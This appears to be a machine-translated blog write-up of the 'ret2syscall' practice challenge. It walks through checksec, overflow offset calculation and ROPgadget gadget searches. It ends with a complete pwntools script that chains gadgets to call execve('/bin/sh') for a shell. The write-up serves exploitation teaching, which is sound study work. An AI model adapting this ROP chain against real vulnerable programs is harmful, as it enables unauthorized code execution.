当前位置:网站首页>Ropgadget -- ret2syscall
Ropgadget -- ret2syscall
2022-07-23 06:15:00 【Mokapeng】
Get the title first ret2syscall, Environment turns on address randomization
First checksec once 
It turns on NX
Relro:No Relro( The relocation table is read-only ):
Relocation Read Only, The relocation table is read-only . The relocation table is .got and .plt Two tables .
RELRO There will be No RELRO、Partial RELRO and FULL RELRO, If open FULL RELRO, Means we can't modify got surface
Stack:No Canary found( Energy stack overflow )
NX: NX enable( Non executable memory )
NX That is, no x attribute , without x attribute , Written in shellcode You can't do it . In this case , We can use ROP (Return-Oriented Programming Return oriented programming ), Use stack overflow to arrange addresses on the stack , So that we can get the data we want through stack overflow
PIE: NO PIE( Don't open ASLR Address randomization )
So the question can use ROPgadget The attack
First disassemble to see if there are stack vulnerabilities , Here's the picture , Obviously, there is a stack overflow vulnerability 
First, look at how many bytes the stack needs to overflow , Use gdb Just debug :
The calculation shows that , It needs filling 108+4=112 Byte garbage data , The next question is what value the return value should overflow , At this time, we must first figure out what instructions we want it to execute
Here we want its implementation /bin/sh This Directive , The specific implementation assembly code is as follows :
mov eax, 0xb
mov ebx, ["/bin/sh"]
mov ecx, 0
mov edx, 0
int 0x80
==>execve("/bin/sh",NULL,NULL)
So we need to point the return value to mov eax,0xb This Directive
It is impossible to find the same instruction in execution , The purpose of this main directive is to eax The value of the into 0xb,pop eax Can also be realized
pop eax Is to pop up the value at the top of the stack and store it in eax in , Let's find pop eax This Directive , And there must be a return instruction , In this way, we can use the re overflow return value to make it execute the following instructions
Use ROP Command query has pop eax ret Instructions
ROPgadget --binary ret2syscall --only "pop|ret" | grep eax

You know 0x080bb196 The address can
The next step is to find other instructions 
Find out 0x0806eb90 It happens that edx ecx ebx ret Content , Then use this instruction to construct , Next, construct mov ebx, [“/bin/sh”]
Use ida lookup /bin/sh Content , I found that there was , The address of the query instruction is 080BE408
Finally, construct int 0x80 that will do , use ROPgadget --binary ret2syscall --only “int” It is found that the address is 0x08049421
At this point, all the addresses are searched , The constructed stack diagram is 
The specific code is :
from pwn import *
io = process("./ret2syscall")
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_80h = 0x08049421
bin_sh = 0x080BE408
payload = flat([b'A'*112,pop_eax_ret,0xb,pop_edx_ecx_ebx_ret,0,0,bin_sh,int_80h])
io.sendline(payload)
io.interactive()

OK The end
边栏推荐
- 跨域问题的解决
- NLP-语言模型
- 日常记账后,项目图表显示各种收支类别
- 递归级联网络:基于无监督学习的医学图像配准
- Pad in pytorch_ sequence、pack_ padded_ Sequence and pad_ packed_ Sequence function
- Greatest common divisor and least common multiple
- Theoretical basis of machine learning
- 2019_ ACL_ Multimodal Transformer for Unaligned Multimodal Language Sequences
- Reset root password
- 【数据库连接】——节选自培训
猜你喜欢
随机推荐
Input a string of characters from the keyboard, output different characters and the number of times each character appears. (the output is not in order) use the common methods of string class to solve
Recent ACM insights and future ideas
Encoder decoder (seq2seq)
Greatest common divisor and least common multiple
Redis集群搭建
C51单片机数码(显示时分秒)
IDEA:SLF4J: Failed to load class “org.slf4j.impl.StaticLoggerBinder“.
字符串在JVM中的内存分配
codeforce:D2. Remove the Substring (hard version)【贪心的字符串 + 子序列】
全球首个航天大模型问世,文心秒补《富春山居图》,这是百度普惠AI的恒心...
pwn1_sctf_2016
Pytorch实现文本情感分析
2019_AAAI_ICCN
【NumPy】
1.有一个分数序列:2/1,3/2,5/3,8/5,13/8,……编程求这个序列的前20项之和。
编码器-解码器(seq2seq)
Design and implementation of position recommendation system based on Knowledge Map
2019_AAAI_ICCN
2020_ ACM MM_ MISA: Modality-Invariant and -Specific Representations for Multimodal Sentiment Analysis
hcia--nat实验









